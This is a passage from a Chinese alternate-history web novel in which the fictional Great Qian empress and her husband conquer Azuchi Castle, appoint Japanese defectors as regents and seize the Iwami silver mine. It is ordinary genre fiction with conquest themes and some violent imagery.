“你想不想取代他?” 轰! 这短短的两句话。 像两道蕴含着无上魔力的混沌神雷! 狠狠地砸在了那名守城将领的心上! 让他整个人都彻彻底底地傻了。 …… 与此同时。 “黑珍珠号”之上。 慕容嫣正站在那巨大的世界地图前。 她那双美丽的凤眸之中闪烁着前所未有的璀璨光芒。 她的夫君又一次创造了一个匪夷所思的奇迹。 而她作为他的妻子,作为大乾帝国的女皇。 也必将与他一起,将这个狗娘养的世界,给彻底地闹个天翻地覆! 她今日依旧是穿着那身作为她唯一寝衣的神凤降世裙。 强劲的海风从那敞开的舷窗呼啸而入。 将她那长达五丈的墨金色苏锦拖尾给高高地吹拂了起来! 那极致玄黑的苏锦底料,在这一刻仿佛变成了一面,即将要远征四海的黑色的死亡战旗! 那只用真金线绣成的擎天巨凤,更是凤目圆睁,充满了君临天下的无上霸气! 仿佛已经看到了自己随着它的主人,将这片蔚蓝色的海洋都彻底征服的辉煌景象! 它在向整个世界宣告。 安土城这座所谓的“天下第一坚城”。 从今夜起将迎来它新的主人! 第1241章 在本王面前,还没有谁敢称无敌 那名守城将领,佐久间盛政,被林臻这句石破天惊的话,给砸得晕头转向,脑子里像是有几百个和尚在同时念经,嗡嗡作响。 他呆呆地看着马车里那个只露出一双眼睛的神秘男人,整个人像是被施了定身法,一动不动。 织田信长死了? 我想不想取代他? 这……这是什么虎狼之词? 他感觉自己不是在守城门,而是在鬼门关门口蹦迪,一脚踩空了,直接掉进了十八层地狱。 “你……你胡说八道!我们主公天下无敌,怎么可能会死!你到底是什么人?再敢妖言惑众,休怪我刀下无情!” 佐久间盛政虽然心里已经慌得一批,但嘴上却还是色厉内荏地大声呵斥着。他下意识地握紧了腰间的刀柄,手心里全是黏腻的冷汗。 他不敢相信,也不愿相信。 那个在他眼中如神似魔,战无不胜的第六天魔王,就这么无声无息地死了? 这怎么可能? 然而马车里的那个男人,却像是完全没有感受到他的威胁一般,只是发出了一声,充满了不屑的轻笑。 “天下无敌?”林臻的声音,冰冷得不带一丝温度,“在本王面前,这世上,还没有谁敢称无敌。” 他一边说着,一边缓缓地从马车里,扔出了一样东西。 那东西在空中划过一道弧线,“咕噜噜”地滚到了佐久间盛政的脚边。 佐久间盛政下意识地低头一看。 下一秒,他那张本就煞白的脸,瞬间血色尽失! 那双眼睛瞪得比死鱼还大,眼珠子都快从眼眶里凸出来了! 那……那是一颗人头! 一颗早已被烧得面目全非,但那死不瞑目的狰狞表情,和他那标志性的两撇小胡子,却依旧是清晰可辨的,人头! 是织田信长! 真的是织田信长! “呕——” 一股无法抑制的恶心和恐惧,从胃里直冲喉咙,佐久间盛政再也忍不住,扶着墙壁,当场就吐了出来。 他吐得昏天暗地,肝肠寸断。 他感觉自己的整个世界观,都在这一刻,被这颗血淋淋的人头,给彻彻底底地砸得粉碎! 完了。 一切都完了。 那个神话一般的男人,真的死了。 而他,佐久间盛政,这个织田家的小小部将,也即将要为那个死鬼陪葬了。 就在他心如死灰,准备拔刀自尽,以全自己那所谓的武士道尊严时。 林臻那如同魔鬼低语一般的声音,又一次在他的耳边缓缓响起。 “织田信长死了,他手下那些最得力的干将,柴田胜家、羽柴秀吉、前田利家,此刻都还在外面,跟德川家的余孽打得不可开交。” “现在的安土城,就是一座群龙无首的空城。” “而你佐久间盛政,柴田胜家的外甥,手握着安土城一半的城门守备之权。” “你说这算不算是,你这辈子最大的一次机会?” 林臻的每一句话,都像是一把烧红的烙铁,狠狠地烙在佐久间盛政的心上。 让他那颗本已冰冷绝望的心,又一次,不受控制地,剧烈地,燃烧了起来! 机会? 是啊!这简直是天上掉下来的,千载难逢的绝佳机会啊! 织田信长死了! 那些平日里压在自己头上的大山,一个个都不在城里! 而自己,却掌握着这座权力中枢的钥匙! 只要……只要自己能…… 一个疯狂到让他自己都感到害怕的念头,如同雨后的毒蘑菇一般,在他的心里,疯狂地滋长了起来! 他猛地抬起头,那双因为呕吐而变得通红的眼睛,死死地盯着马车里那个,如同神魔一般的神秘男人。 他的声音,因为极度的激动和恐惧,而变得沙哑不堪。 “你……你到底想要什么?” 他知道,天下没有白吃的午餐。 眼前这个男人,既然给了他这么大一个天大的“馅饼”,就必然会让他付出,相应的代价。 “我想要的,很简单。”林臻的声音依旧是那么的平淡,却又充满了一种,让人无法抗拒的魔力。 “第一,打开城门,放我们进去。” “第二,帮我把一个人,悄无声息地接到安土城的天守阁。” “第三,也是最重要的一点。” 他的嘴角缓缓地勾起了一抹冰冷的充满了无尽霸气的弧度。 “从今天起,你,佐久间盛政,还有你的舅舅柴田胜家以及他麾下的所有军队。” “都必须向我,向我大乾宣誓效忠!” “做我们在这片土地上,最忠诚的一条狗!” …… 安土城,天守阁。 这座象征着织田信长无上权力和绝对统治的七层楼阁,此刻依旧是灯火通明,金碧辉煌。 然而阁楼的最顶层,那间原本只属于织田信长一个人的,奢华寝殿之内。 此刻却是换了新的主人。 林臻大马金刀地坐在那张,由黄金和象牙打造而成的巨大主位之上。 他的脸上,依旧蒙着那块黑色的面巾。 但那双深邃的眼睛里,却充满了一种将整个世界都踩在脚下的,绝对的自信和霸气。 在他的面前,明智光秀、泷川一益、丹羽长秀,这三位织田信长生前最信任的心腹重臣,此刻却像是三条被拔了牙的老狗,战战兢兢地跪在地上,连头都不敢抬。 他们的心里,早已是被恐惧和骇然,所彻底填满。 他们做梦也想不到。 他们那位算无遗策,智多近妖的“神使”大人,竟然会用这种,堪称是神鬼莫测的雷霆手段,在他们都还完全没有反应过来的情况下,就兵不血刃地,拿下了这座,他们自以为固若金汤的天下第一坚城! 这简直就是神迹! 就在这时,寝殿的大门,被缓缓地推开了。 一身黑色夜行衣的岳飞和伊丽莎白,护送着一个,身披着巨大黑色斗篷,将整个身形都笼罩在阴影之中的神秘人,缓缓地走了进来。 寝殿之内,所有人的目光,都齐刷刷地,聚焦在了那个神秘人的身上。 他们都很好奇。 到底是什么人,能让他们这位,眼高于顶,视天下英雄如无物的“神使”大人,都亲自起身,出殿相迎? 第1242章 征服者的姿态 只见那个神秘人,缓缓地走到了大殿的正中央。 然后,在所有人的注视之下,她缓缓地抬起了手,将头上的那顶黑色的斗篷摘了下来。 那一瞬间。 整个寝殿,仿佛都在这一刻,失去了所有的光彩。 所有人的呼吸,也都在这一刻,彻底地凝固了。 那是一张,何等绝美,何等高贵,何等倾国倾城的脸庞! 她的肌肤比那最上等的羊脂白玉,还要更加的细腻和光洁。 她的五官比那古希腊神话中,最完美的女神雕塑,还要更加的精致和动人。 她那双美丽的凤眸,更是如同两颗,可以洞悉世间一切的,璀璨的黑色星辰。 充满了,一种让人不敢直视,只能顶礼膜拜的,与生俱来的,无上神威! 而她身上所穿的那件,通体漆黑,却又用无数根真金线,绣着一只仿佛要展翅高飞,直冲九霄的,擎天巨凤的华贵长裙。 更是将她那君临天下,母仪四海的,女帝气场衬托得淋漓尽致! 这就是大乾帝国的女皇! 慕容嫣! 她来了。 她带着征服者的姿态,降临到了这座,倭国最核心的权力中枢! 她身上那件,作为唯一寝衣的神凤降世裙,在这座充满了血腥、阴谋和欲望的倭国坚城之内,仿佛是宣告神罚降临的无边黑夜! 那极致玄黑的苏锦底料,完美地勾勒出她那,因为怀孕而显得愈发丰腴动人的,绝美曲线。 那只用真金线绣成的擎天巨凤,更是凤目冰冷,杀气腾腾,仿佛在冷冷地审视着,脚下这片,即将要被它和它的主人,彻底征服的渺小土地! 那长达五丈的墨金色苏锦拖尾,从她的脚下,恣意地铺陈开来,像一张由死亡和权力,共同编织而成的,巨大的黑色地毯。 那华贵的凌乱之中,充满了,一种不容置喙,不容反抗的,绝对的征服之欲! “参见陛下!” 林臻第一个从主位之上走了下来,对着慕容嫣单膝跪地,行了一个,最标准也最深情的骑士之礼。 “臣,幸不辱命!” “已为陛下,拿下此城!” 林臻那充满了磁性,又带着一丝邀功意味的声音,在寂静的寝殿内缓缓响起。 慕容嫣看着单膝跪在自己面前,那双深邃眼眸里盛满了星光和爱意的男人,那颗因为担忧和紧张而一直悬着的心,终于彻彻底底地放了下来。 她快步走上前,亲自将他从地上扶了起来,那双美丽的凤眸之中,全是化不开的柔情和骄傲。 “夫君辛苦了。” 她的声音很轻,很柔,像羽毛一样,轻轻地搔刮着林臻的心。 “为你,为我们的孩子,做什么都不辛苦。”林臻握住她那微凉的小手,放在唇边,轻轻地吻了一下。 这突如其来的亲昵举动,让慕容嫣的俏脸“唰”的一下就红了。 她下意识地看了一眼周围,发现岳飞和伊丽莎白都很有眼色地低着头,假装在研究地板上的花纹。 而那三个新投诚的倭国“重臣”,更是把脑袋埋得比鹌鹑还低,恨不得当场在地上刨个坑把自己埋进去。 至于那个老神棍棋牌佛,则不知道什么时候,又从角落里摸出了一瓶酒,正一边喝着,一边用一种“我看好戏”的玩味眼神,看着他们俩。 “没个正形。”慕容嫣又羞又嗔地瞪了林臻一眼,轻轻地抽回了自己的手。 虽然嘴上这么说,但她心里的那点甜蜜,却是怎么也藏不住。 她缓缓地走到那张,象征着倭国最高权力的,黄金象牙宝座前,然后毫不客气地坐了下去。 她将一条腿,优雅地叠在另一条腿上,那双冰冷的凤眸,缓缓地扫过殿下那几个还跪在地上的倭国降臣。 一股比织田信长还要更加强大百倍,更加令人窒息的,属于真正帝王的无上威严,瞬间从她那娇小的身体里爆发了出来! 明智光秀、泷川一益、丹羽长秀,这三个在倭国也算是一方枭雄的人物,在这股,如同泰山压顶一般的恐怖气场面前,只觉得自己的灵魂都在颤抖。 他们甚至连一丝一毫的反抗念头,都生不出来。 只能像三条最卑微的虫子一样,将自己的额头,死死地贴在那冰冷的地板之上以示自己最彻底的臣服。 太可怕了! 这个来自于天朝上国的女皇帝,实在是太可怕了! 他们以前总觉得,他们的主公织田信长,那所谓的“第六天魔王”的气场,就已经是这个世界上最恐怖的存在了。 可现在跟眼前这位,不费一兵一卒,谈笑之间,便将他们整个倭国都玩弄于股掌之上的绝美女帝比起来。 织田信长那点所谓的霸气,简直就像是小孩子过家家,幼稚得可笑! 他们现在是真的彻彻底底地心服口服了。 “都起来吧。” 许久,慕容嫣才缓缓地开口,声音清冷不带一丝感情。 “谢陛下!” 三人如蒙大赦,战战兢兢地从地上爬了起来,但依旧是低着头躬着身子,连大气都不敢喘一口。 “明智光秀。”慕容嫣的目光,落在了那个为首的看起来最为精明干练的中年男人身上。 “罪臣在!”明智光秀的心猛地一紧,连忙又跪了下去。 “朕听说,你是织田信长生前,最信任的谋臣。”慕容嫣的声音,听不出喜怒,“他这次兵败身死,安土城群龙无首,你觉得接下来这倭国的天,该由谁来坐?” 这个问题像一把锋利的刀子,狠狠地扎在了明智光秀的心上。 他知道,这是新主子对他的第一次,也是最重要的一次考验。 回答得好,他将一步登天,成为这倭国一人之下,万人之上的新贵。 回答得不好,他和他整个家族,都将万劫不复! 他的大脑,在这一刻开始以一种前所未有的速度,疯狂地运转了起来。 该怎么回答? 是该劝进,让这位天朝女帝,直接君临倭国? 不行! 这太明显了,也太愚蠢了! 这位女帝陛下,心思比大海还要深。 她绝不可能,会喜欢一个只会阿谀奉承的无能之辈。 而且,她若是真想自己当这个倭国的天皇,又何必多此一举地来问自己? 第1243章 该由,陛下的孩子来坐 那……是该推举,她身边那位,同样是深不可测,如同神魔一般的摄政王殿下? 似乎也不太妥当。 这位王爷殿下,看起来对这世俗的权力,并没有太大的兴趣。 他更像是一个,站在更高维度之上,冷眼旁观着这一切的局外人。 那到底该怎么办? 冷汗,顺着明智光秀的额角,涔涔而下。 他感觉自己,这辈子所学的所有谋略和智慧,在眼前这位,看似年轻,实则比任何人都更加可怕的女帝面前,都显得是那么的苍白和无力。 就在他,快要被这巨大的压力,给彻底压垮的时候。 他的脑海里,突然灵光一闪! 他想到了! 他想到了一个既能保全自己,又能最大程度地迎合这位女帝心意的,两全其美的绝佳答案。 “回陛下的话!” 他猛地抬起头,那双精明的眼睛里,闪烁着智珠在握的兴奋光芒! “罪臣以为,这倭国的天,既不该由陛下您来坐,也不该由王爷殿下来坐。” “哦?”慕容嫣闻言,那双美丽的凤眸之中,闪过了一丝,不易察觉的赞许。 这个倭国人,倒还有点意思。 “那依你之见,该由谁来坐?” “该由,陛下的孩子来坐!” 明智光秀一字一句,掷地有声地说道! “轰——” 他这番,堪称是“石破天惊”的回答,像一颗重磅炸弹,瞬间在整个寝殿之内轰然引爆! 所有人都像是被雷劈了一样,一个个目瞪口呆,瞠目结舌! 让陛下的孩子来当倭国的天皇?! 这……这是什么神仙脑回路?! 就连林臻,在听到这个答案时,也是微微一愣,随即脸上便露出了一丝哭笑不得的古怪表情。 这个明智光秀,还真是个人才啊。 这马屁拍得简直是清新脱俗,不落窠臼。 直接一步到位,把他们那还未出世的孩子,都给安排得明明白白了。 而慕容嫣在短暂的震惊之后,那张冰冷的俏脸之上,也终于露出了一丝发自内心的满意笑容。 她看着跪在地上,那张精明的脸上,写满了“快夸我,快夸我”的明智光秀。 心中对这个,虽然没什么节操,但脑子却转得飞快的倭国谋臣,也生出了一丝欣赏之意。 她知道,这个答案或许不是最完美的。 但却是在眼下这种情况,最让她,也最让林臻感到舒服的。 它既满足了他们大乾,要将倭国牢牢掌控在自己手中的核心诉求。 又在表面上,保留了倭国作为一个“独立国家”的“尊严”。 更重要的是,它将她和林臻,以及他们那还未出世的孩子,与整个倭国的命运,都彻彻底底地,捆绑在了一起! 从今往后,他明智光秀,以及所有像他一样,选择了投靠大乾的倭国“新贵”们。 他们效忠的将不再是一个,虚无缥缈的外来征服者。 而是一个,拥有着一半倭国血统的他们自己的,未来的新君主! 这其中的差别可谓是,天壤之别! 这一招“偷天换日,鸠占鹊巢”,玩得实在是太高明了! “很好。”慕容嫣缓缓地开口,声音里,充满了毫不掩饰的赞赏。 “明智光秀,你很聪明。” “从今天起,你就是我大乾册封的,倭国第一任‘摄政关白’。” “负责辅佐未来的新君,处理倭国的一切军政要务。” “你,可愿意?” “罪臣……哦不!微臣!微臣明智光秀,叩谢陛下天恩!” 明智光秀闻言,更是激动得浑身都在发抖! 他知道自己赌对了! 他赌赢了! 从今天起,他将真正地成为这倭国一人之下,亿万人之上的无冕之王! 明智光秀的“神来之笔”,不仅为他自己赢得了“摄政关白”的宝座,也为林臻和慕容嫣,彻底解决了一个最棘手的问题。 那就是如何名正言顺地,统治这片充满了桀骜和野性的土地。 直接吞并? 不行。 那样只会激起倭国全民族的反抗,让他们深陷人民战争的汪洋大海,永无宁日。 扶持傀儡? 也不行。 倭国这些所谓的大名,一个个都是野心勃勃的白眼狼,没有一个是省油的灯。 今天你扶持他上台,明天他就有可能反咬你一口。 而明智光秀提出的这个,让未来的“混血皇子”来继承倭国天皇之位的方案,则完美地,解决了所有的问题。 这既保证了大乾对倭国的,绝对的血脉上的控制权。 又在形式上,保留了倭国作为一个“独立国家”的颜面。 更让那些,像明智光秀一样的“带路党”们,找到了一个,可以让他们心安理得地,卖国求荣的完美的借口。 他们不是在背叛倭国。 他们只是在迎接他们未来的新君主! 这其中的政治智慧,简直是妙到毫巅! “泷川一益,丹羽长秀。” 慕容嫣的目光,又落在了另外两个,还跪在地上的织田家的旧臣身上。 “罪臣在!” 两人连忙应声,心中都是七上八下,忐忑不安。 他们不知道等待着他们的,将会是怎样的命运。 “你们二人,虽不比明智光秀有从龙之功。但也算是在关键时刻弃暗投明,悬崖勒马。” 慕容嫣的声音,依旧是那么的清冷。 “朕向来赏罚分明。” “从今日起,朕封泷川一益为‘五大老’之首,负责统领织田家,所有的旧部军队。” “封丹羽长秀为‘五奉行’之首,负责掌管倭国全境的钱粮税收。” “你们二人与明智光秀,一同辅佐未来的新君。” “你们可有异议?” “臣等,叩谢陛下天恩!吾皇万岁万岁万万岁!” 泷川一益和丹羽长秀闻言,都是如蒙大赦,激动得热泪盈眶! 他们本以为自己最好的下场,也不过是被剥夺所有的权力和兵马,然后像一条狗一样,被圈养起来,了此残生。 却没想到这位天朝女帝,竟然会如此的宽宏大量! 非但没有削去他们的权力。 反而还让他们更进了一步! 成为了这倭国新政权之中,仅次于明智光秀的二号和三号人物! 这份天大的恩宠让他们,如何能不感激涕零? 如何能不誓死效忠? 第1244章 这才是真正的以倭制倭 他们哪里知道,这看似天大的恩宠背后,所隐藏的却是慕容嫣那比深渊还要难测的帝王心术! 她之所以要设立这所谓的“五大老”和“五奉行”制度。 其目的就是要用这种,相互分权,相互制衡的方式。 来将整个倭国的高层权力,彻底地打散,分化! 让明智光秀,泷川一益,丹羽长秀,以及未来那些可能会加入进来的,新的地方大名们。 永远地处在一种,相互猜忌,相互斗争,却又谁也离不开谁的微妙的平衡之中。 而她和林臻,以及他们未来的孩子,则将永远地高高在上,作为这盘棋局的最终仲裁者! 冷眼旁观着他们这些自以为是的棋子们,在棋盘之上,为了那点可怜的权力和利益,而相互撕咬,相互残杀! 这才是真正的帝王之术! 这才是真正的以倭制倭! 处理完这三个最关键的“带路党”。 慕容嫣又将目光投向了那个从始至终,都像一条死狗一样,瘫在地上的独眼龙伊达政宗。 “伊达政宗。” 她的声音,变得冰冷而又充满了,不屑的鄙夷。 “你虽有带路之功,但亦有背主求荣,滥杀无辜之罪。” “功过相抵,死罪可免,活罪难逃。” “朕罚你终生不得踏入安土城半步!” “你和你麾下的那些,所谓的‘奥州武士’,就给朕永远地烂在你们那鸟不拉屎的,东北乡下吧!” “另外,”她的嘴角勾起了一抹残忍的冷笑,“朕听说,你好像对那德川家的家产,很感兴趣?” “好啊,朕成全你。” “从今天起,那早已被德川秀忠给搬空了的,江户城就赏给你了。” “你就带着你的那些,残兵败将,去给朕守着那座空城吧。” “朕倒要看看,你伊达宗到底能在那座,被我们大乾舰队,给轰成了白地的废墟之上,守出个什么花样来!” “噗——” 伊达政宗听完慕容嫣这番,比直接杀了他,还要更加恶毒更加诛心的“赏赐”。 只觉得喉头一甜,猛地一口老血,狂喷而出! 然后他两眼一翻,便直接气晕了过去。 他做梦也想不到。 自己费尽了心机,赌上了一切最终换来的,竟然会是这样一个,生不如死的凄惨下场! 去守一座被搬空了的废弃空城? 这跟把他,发配到那比地狱还可怕的西伯利亚去挖土豆,有什么区别?! 这简直是杀人诛心啊! 寝殿之内,所有人都面无表情地看着那个如同死狗一般,被两名“夜枭”死士,给拖出去的独眼龙。 心中都是一阵莫名的寒意。 他们知道,这位看似美艳动人,实则心狠手辣的东方女皇,是在用这种,最直接也最残酷的方式,来向他们所有人立威! 她这是在告诉他们。 顺我者昌,逆我者亡! 当狗,就要有当狗的觉悟! 若是敢有任何,非分之想。 那伊达政宗的今天,就是他们的明天! “好了,该处理的,都处理完了。” 慕容嫣仿佛只是,做了一件微不足道的小事一般,从那黄金宝座之上,站了起来。 她走到林臻的身边,自然而然地挽住了他的胳膊,那张冰冷的俏脸之上,又重新浮现出了,那只属于他一个人的,温柔和缱绻。 “夫君,我们该去看看,我们这次东征最大的战利品了。” 她一边说着,一边将目光,投向了寝殿之外那片在夜色之中,显得格外的神秘和深邃的连绵群山。 她知道,在那片群山的深处正隐藏着一座足以让整个世界,都为之疯狂的巨大宝藏! 那才是他们这次东征倭国真正目的! 那才是他们大乾帝国,未来能否真正地崛起于世界之巅的关键所在! ——石见银山! ...... 石见银山,位于倭国出云国境内,是当时全世界储量最大,品质最高的露天银矿。 其被发现和开采的历史,可以追溯到数百年前。 但真正让它闻名于世的,却是在织田信长统一了倭国之后。 他凭借着自己那强大的军事实力,和那从西方红毛鬼手里,学来的先进“灰吹法”冶炼技术。 将这座原本只是小打小闹的,地方性银矿,变成了一个日产千金,富可敌国的,巨大的财富帝国! 他每年从这座银矿之中,所获取的巨额财富,不仅足以支撑他那支庞大的装备了西式火器的无敌军队。 更是让他有足够的资本去收买和拉拢,那些摇摆不定的地方大名,从而一步一步地奠定了他那,看似固若金汤的霸主地位! 可以说这座石见银山,就是织田信长,乃至整个倭国战国时代的命脉所在! 谁掌握了它,谁就掌握了,整个倭国的未来! 而现在这座足以让全世界都为之疯狂的巨大宝藏。 即将要迎来它新的主人! …… 第二日,清晨。 天刚蒙蒙亮。 一支由上千名,最精锐的神机营将士,和数千名刚刚才宣誓效忠的,织田家降兵,所组成的,庞大的混合部队。 便在林臻和慕容嫣的亲自率领之下,浩浩荡荡地从安土城出发。 向着那位于数百里之外的,石见银山进发! 同行的还有那个,已经彻底认命,并且将自己摆在了“第一忠犬”位置上的,新任倭国“摄政关白”——明智光秀。 和他那位同样是被林臻那,神鬼莫测的手段给吓破了胆的,新任“五奉行”之首——丹羽长秀。 至于泷川一益,则被留在了安土城,负责镇守大本营和整编那些群龙无首的织田家旧部。 而棋牌佛那个老神棍,则是在昨天晚上,那场惊心动魄的“天机推演”之后,便一直处在一种,半死不活的昏睡状态。 林臻也没去打扰他,只是派了鬼影和数十名最精锐的“夜枭”死士,寸步不离地守在他的身边。 他知道,这个老怪物虽然看起来疯疯癫癫,不靠谱。 但他的存在本身,就是自己手里一张足以在最关键时刻扭转乾坤的终极底牌! 绝对不容有失! 大军一路西行,晓行夜宿。 因为有明智光秀和丹羽长秀,这两个在倭国拥有着巨大声望和影响力的“带路党”在。 沿途所经过的所有城池和关隘,几乎都是望风而降,不战自溃。 那些原本还对织田信长忠心耿耿的地方大名们,在得知他们的主公已经“暴毙”于本能寺。 第1245章 推进速度,骇人听闻 而那座号称“天下第一坚城”的安土城,也已在一夜之间换了新主人之后。 一个个都像是被阉了的公鸡一样,彻底蔫了。 他们虽然对这些突然冒出来的,所谓“天朝上国”的征服者,充满了怀疑和敌意。 但他们更害怕那个已经成为了倭国新一代“摄政关白”的,心狠手辣的明智光秀! 他们知道,那个男人为了巩固自己的地位,是绝对不介意用他们这些,“前朝余孽”的项上人头,来为自己铺就一条,通往权力巅峰的血腥之路的! 所以在经过了,短暂的象征性抵抗之后。 他们最终都选择了,最明智,也是最无奈的一条路。 ——投降! 于是在短短的五天之内。 林臻和慕容嫣,便兵不血刃地拿下了整个倭国西部近三分之一的土地! 其推进速度之快简直是骇人听闻! 而当他们的大军最终抵达那座,传说中的石见银山脚下时。 所有随行的大乾将士们,都被眼前那如同神迹一般的,壮观景象,给彻彻底底地惊呆了! 那是一座何等巨大,何等雄伟的银色山脉! 整座山从山脚到山顶,都呈现出一种奇异的,闪闪发光的银白色! 在清晨的阳光之下更是反射出,万道金光,刺得人几乎都睁不开眼睛! 无数的矿洞如同巨大的,黑色的伤疤,遍布在整座银山之上。 成千上万的衣衫褴褛,面黄肌瘦的倭国矿工,就像是一群群卑微的蚂蚁。 在那监工们那沾满了血污的皮鞭的无情驱使之下。 麻木地,机械地,将一筐筐闪烁着诱人光泽的,银色的矿石,从那深不见底的黑暗的矿洞之中,背负出来。 然后再将它们倾倒进那一个个,如同巨兽的血盆大口一般,正冒着滚滚浓烟的巨大的冶炼炉之中。 空气中弥漫着一股,硫磺、煤炭,和那金属被熔炼时,所产生的刺鼻的有毒气味。 整个场面喧嚣,混乱,却又充满了一种原始而又野蛮的强大的生命力! 这就是足以让整个世界,都为之疯狂的财富的源泉! 这就是战争和权力的,最终的,也是最赤裸裸的本来面目! “我的天……” 慕容嫣站在山脚下,仰望着眼前这座,完全由白银所构成的巨大山脉。 那双美丽的凤眸之中,充满了难以言喻的极致震撼! 她虽然早就从林臻的口中,得知了这座银矿的存在。 但当她亲眼看到这,如同神话传说一般的壮观景象时。 她那颗早已是见惯了各种大场面的女帝之心,也还是忍不住剧烈地颤动了起来! 太……太壮观了! 也太……太奢侈了! 她身上那件,作为唯一寝衣的神凤降世裙,在这座闪耀着万丈银光的巨大宝山面前,仿佛也黯然失色。 那极致玄黑的苏锦底料,在这刺眼的银光之下,仿佛变成了一块,最普通的黑色画布。 而那只用真金线绣成的擎天巨凤,也收敛了所有的骄傲和威严。 凤目之中,充满了,与它的主人如出一辙的深深的震撼和贪婪! 它仿佛已经看到了,这座巨大的银山,是如何在它和它的主人的,共同的征服之下,变成他们大乾帝国那取之不尽,用之不竭的私家金库! “夫君……” 她下意识地抓紧了林臻的手,声音里带着一丝连她自己都未曾察觉的颤抖。 “我们……我们发财了……” “何止是发财了。” 林臻看着眼前这座,比他想象中还要更加巨大,更加夸张的露天银山。 那双深邃的眼睛里也同样是,燃起了熊熊的贪婪火焰! 他知道有了这座银山。 他那个要将整个世界,都变成他和他心爱的女人共同的后花园的疯狂梦想。 将不再是遥不可及的痴人说梦! 而是近在咫尺的,触手可及的现实! “我们这是要把全世界的钱,都给赚了!” 林臻这句充满了豪情壮志和无尽野心的话,让慕容嫣的心,也跟着剧烈地跳动了起来。 赚全世界的钱? 这个目标,光是听一听,就足以让任何人都感到热血沸腾,心神摇曳! 她看着眼前这座,闪耀着万丈光芒的巨大银山,又看了一眼身边这个总是能给她带来无限惊喜和震撼的男人。 那双美丽的凤眸之中,充满了前所未有的,璀璨的光芒! 她知道从这一刻起,一个真正属于他们属于大乾的,波澜壮阔的大航海时代。 即将在他们的手中正式拉开它辉煌的序幕! “明智光秀!” 林臻收回了那,充满了贪婪和野心的目光,转头看向了那个,同样是被眼前这壮观景象给惊得目瞪口呆的新任“摄政关白”。 “微臣在!” 明智光秀连忙回过神来,恭恭敬敬地躬身行礼。 他现在对林臻的敬畏,已经达到了一个以复加的顶峰。 他觉得眼前这个男人,根本就不是凡人。 他就是天照大神派来拯救他们这些,生活在水深火热之中的,倭国子民的无上神明! “从今天起,”林臻的声音,冰冷而又充满了,不容置疑的威严,“这座石见银山,连同它所有的矿工、工匠、守卫,以及它所产出的每一两白银。” “都将归我大乾所有!” “朕命你,立刻接管此地!” “将所有忠于织田家的,顽固分子一体清除!” “将所有愿意归顺我大乾的工匠和矿工,重新登记造册,给予他们与我大乾子民同等的身份和待遇!” “朕要让他们知道,跟着我们大乾干不仅有饭吃,有衣穿,有钱拿!” “更有他们以前连想都不敢想的尊严!” “另外,”他话锋一转,那双深邃的眼睛里,闪过了一丝,狐狸般的狡黠光芒,“你再去给朕发布一道招工令。” “就说我大乾要在倭国招募十万名,最勇敢最悍不畏死的武士!” “只要他们愿意加入我大乾的‘仆从军’,为我大乾征战四方。” “每人每月不仅可以领到十两白银的高额军饷!” “战后更是可以根据功劳的大小,获得我大乾册封的土地和爵位!” “朕倒要看看,在这金钱和权力的,双重诱惑之下。” “这小小的倭国,到底有多少愿意为我们卖命的亡命之徒!” 第1246章 十两白银,一个月 林臻的这番,堪称是“恩威并施,釜底抽薪”的神仙操作。 让一旁的明智光秀和丹羽长秀,都听得是心惊肉跳,头皮发麻! 太狠了! 这位天朝王爷的心实在是太狠了! 他这不仅仅是要抢走他们倭国的钱。 他这是要连他们倭国的魂,都给一起抽走啊! 给予矿工和工匠,与大乾子民,同等的身份和待遇? 这简直是闻所未闻! 要知道在他们倭国这些所谓的“下等人”,连人都算不上。 他们的生命比路边的野狗,还要更加的,卑贱和廉价。 可现在这位天朝王爷,竟然要给他尊严? 这让他如何能不感恩戴德?如何能不誓死效忠? 而那招募“仆从军”的命令,就更加的歹毒和诛心了! 十两白银一个月的军饷! 战后还能获得土地和爵位! 这对于那些除了打仗和杀人之外,一无是处的底层武士和浪人来说。 简直就是无法抗拒的,致命诱惑! 可以想象用不了多久,整个倭国,所有还在观望还在犹豫的地方大名们。 他们麾下的那些最精锐,最悍不畏死的武士,就全都会被这位天朝王爷用这最简单也最粗暴的方式,给挖得一干二净! 届时他们那些所谓的“大名”,就将彻底地,沦为一个个光杆司令! 再也掀不起任何的风浪! 高! 实在是高! 这一招“釜底抽薪,挖人墙角”的阳谋玩得简直是出神入化登峰造极! 明智光秀的心中,对林臻的敬畏和恐惧,又一次上升到了一个新的高度。 他知道,从今天起这个小小的倭国将彻彻底底地,沦为这位比魔鬼还要可怕的东方王爷的私人领地! 任何胆敢违抗他意志的人。 都将死无葬身之地! “微臣……遵命!” 他再也不敢有任何的其他心思,恭恭敬敬地跪倒在地,领下了这道足以改变整个倭国命运的神之旨意。 …… 在明智光秀和丹羽长秀这两个“超级带路党”的,全力配合之下。 石见银山的接管工作,进行得异常的顺利。 那些原本还忠于织田家的,守卫和监工们,在看到明智光秀和丹羽长秀,这两个织田家最高层的“叛徒”都已俯首称臣之后。 他们心中那最后的一丝,抵抗意志也瞬间土崩瓦解。 几乎没有费一兵一卒。 这座日进斗金的巨大宝山,便轻而易举地落入了林臻和慕容嫣的囊中。 而当那招募“仆从军”的命令传遍整个倭国之后。 更是在整个倭国掀起了一场,前所未有的巨大的轰动! 无数生活在社会最底层,穷困潦倒食不果腹的武士和浪人们。 在听到那每月十两白银的天价军饷,和那战后可以封妻荫子,获得土地爵位的美好前景之后。 一个个都像是打了鸡血的疯狗一样! 他们从倭国的四面八方,源源不断地向着安土城蜂拥而来! 那场面比后世的春运抢票,还要更加的夸张和疯狂! 仅仅不到十日的时间。 一支由十万名最精锐,最悍不畏死的倭国武士所组成的,庞大的“大乾第一仆从军”便正式,组建完成! 而这支军队的第一任统帅。 林臻也早已为他们想好了。 那就是那个刚刚才被他从江户城那个“冷宫”里,给放出来的充满了复仇和野心的独眼龙。 ——伊达政宗! 当伊达政宗,在安土城的天守阁里再一次见到林臻,并且从他的口中得知了这个让他自己都,感到难以置信的惊天任命时。 他整个人都傻了。 他呆呆地看着林臻那张丑陋的脸上,写满了无法用言语来形容的,极致的震惊和狂喜! 他做梦也想不到! 自己这个前一刻,还被发配去看守空城的丧家之犬。 下一刻竟然就一步登天! 成为了这支由十万名,倭国最精锐武士组成的,庞大军队的最高统帅! 这……这简直比坐过山车,还要更加的刺激和颠覆! “王……王爷……”伊达政宗的声音因为极度的激动,而变得结结巴巴,“您……您不是在,跟小人,开玩笑吧?” 他实在是不敢相信,自己的耳朵。 他觉得这一定是,自己在被发配到江户城之后,因为过度的绝望和不甘,而产生的幻觉。 “你看本王的样子,像是在跟你开玩笑吗?” 